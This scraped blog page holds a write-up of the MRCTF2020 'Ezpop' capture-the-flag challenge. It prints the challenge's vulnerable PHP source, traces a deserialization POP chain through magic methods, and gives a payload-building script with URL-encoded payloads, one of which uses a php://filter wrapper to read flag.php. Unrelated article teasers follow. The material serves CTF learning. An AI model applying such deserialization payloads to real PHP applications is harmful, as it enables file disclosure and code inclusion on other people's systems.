[MRCTF2020]Ezpop

news/2024/10/11 0:20:07/
webkit-tap-highlight-color: rgba(0, 0, 0, 0);">

[MRCTF2020]Ezpop

题目是pop,考的其实就是pop链,可以自己先学学,啥也不会QAQ

php反序列化之pop链_pop3.phpwelcome-CSDN博客

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

感觉就是利用魔术方法达到自己的目的(魔术方法可以理解成php函数的生命周期)

看看这道题的源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

然后开始分析

可以先看看读取文件的函数 highlight_file()
这道题的关键目的是为了得到flag.php,所以思考怎么得到?
可以看到Modifier类中有个append()方法将传入的参数进行包含
unserialize 会自动调用_wakeup 将source看成字符串,但是source为对象的话触发_toString,

看看_toString函数,将str的值赋值给source,如果str的值不存在就会触发_get方法
看看_get方法,将Test类属性p的值赋值给function,再将function当作函数进行输出,所以又调用了_invoke
Modifier类中的append()方法会将传入参数包含,而此处的魔术方法_invoke将Modifier类中的var属性作为传入值来调用append()的函数,所以这里将flag.php赋值给var

这里总结一下这整个pop链
反序列化unserialize -> _wakeup -> source为对象的话 —> _toString -> str的值不存在的话 -> _get -> 返回Test类中属性p的函数的调用结果 -> 调用_invoke -> include()包含目标文件flag.php

简单理解一下,就构造一下payLoad:

<?php
class Modifier {protected  $var="flag.php";
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$a=new class Modifier;
$b=new class Show;
$c=new class Test;
//将Modifier类的值赋值给Test类中p属性,触发_invoke
$c->p=$a;
//赋值$b下的str为对象$c,触发_get
$b->str=$c;
//source的值要为对象,将上面赋值过的对象给$b->source,触发_toString
$b->source=$b;
echo urlencode(serialize($b));
?>

使用urlencode是为了编码privateprotect属性,防止他们序列化出来有%00截断

得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

但是直接包含flag.php得不到flag,需要读取flag.php中的源码,

image-20240803104904039

利用php伪协议来读取源码,所以简单修改一下

protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

image-20240803105221396

将内容进行解码,得到flag


http://www.ppmy.cn/news/1506787.html

相关文章

【JVM基础14】——垃圾回收-强引用、软引用、弱引用、虚引用的区别

目录 1- 引言&#xff1a;为什么分多种引用类型2- ⭐核心&#xff1a;2-1 强引用2-2 软引用2-3 弱引用2-4 虚引用 3- 小结&#xff1a;3-1 强引用、软引用、弱引用、虚引用的区别&#xff1f; 1- 引言&#xff1a;为什么分多种引用类型 在 Java 中&#xff0c;引用类型被分为强…

240810-Gradio通过HTML组件打开本地文件+防止网页跳转到about:blank

A. 最终效果 B. 可通过鼠标点击打开文件&#xff0c;但会跳转到about:blank import gradio as gr import subprocessdef open_pptx():pptx_path /Users/liuguokai/Downloads/240528-工业大模型1.pptxtry:subprocess.Popen([open, pptx_path])return "PPTX file opened s…

LVS(Linux virual server)详解

目录 一、LVS&#xff08;Linux virual server&#xff09;是什么&#xff1f; 二、集群和分布式简介 2.1、集群Cluster 2.2、分布式 2.3、集群和分布式 三、LVS运行原理 3.1、LVS基本概念 3.2、LVS集群的类型 3.2.1 nat模式 3.2.2 DR模式 3.2.3、LVS工作模式总结 …

Vue引入使用iconfont字体图标

由于element-ui或element-plus提供的图标有时候并不能满足日常需求,所以这篇介绍一下前端引入阿里巴巴矢量图标库使用,不止是vue使用,不限于vue2、vue3,html或是其他框架也是同样的道理,只要引入都是同样可以使用的。 1. 首先进入阿里巴巴矢量图标库官网 官网:https://…

源码编译安装LAMP(HTTP服务,MYSQL ,PHP,以及bbs论坛)

前言&#xff1a;资源 下载在https://download.csdn.net/download/YCyjs/89618650下载&#xff0c;可在生产环境使。 一、安装Apache 下面两个插件是httpd2.4以后的版本所需要 tar xf apr-1.6.2.tar.gz tar xf apr-util-1.6.0.tar.gz 虽然xf通常足够&#xff0c;但使用与压缩…

Android .kl按键布局文件

1.介绍 一个硬件按键的处理流程大致为&#xff1a;当用户按下或释放一个键时&#xff0c;键盘硬件会生成一个扫描码scan code&#xff0c;然后操作系统读取这个scan code&#xff0c;并将scan code扫描码映射到虚拟键码key code&#xff0c;最后操作系统根据映射的keycode生成…

Vue的事件处理、事件修饰符、键盘事件

目录 1. 事件处理基本使用2. 事件修饰符3. 键盘事件 1. 事件处理基本使用 使用v-on:xxx或xxx绑定事件&#xff0c;其中xxx是事件名&#xff0c;比如clickmethods中配置的函数&#xff0c;都是被Vue所管理的函数&#xff0c;this的指向是vm或组件实例对象 <!DOCTYPE html&g…

Redis 分布式锁实现详解

Redis 分布式锁实现详解 在分布式系统中&#xff0c;我们需要解决的一个重要问题是多个服务实例之间如何协调共享资源的访问问题。例如&#xff0c;在电子商务系统中&#xff0c;库存更新需要被多个微服务实例所共享&#xff0c;但为了防止超卖&#xff0c;必须确保库存更新是…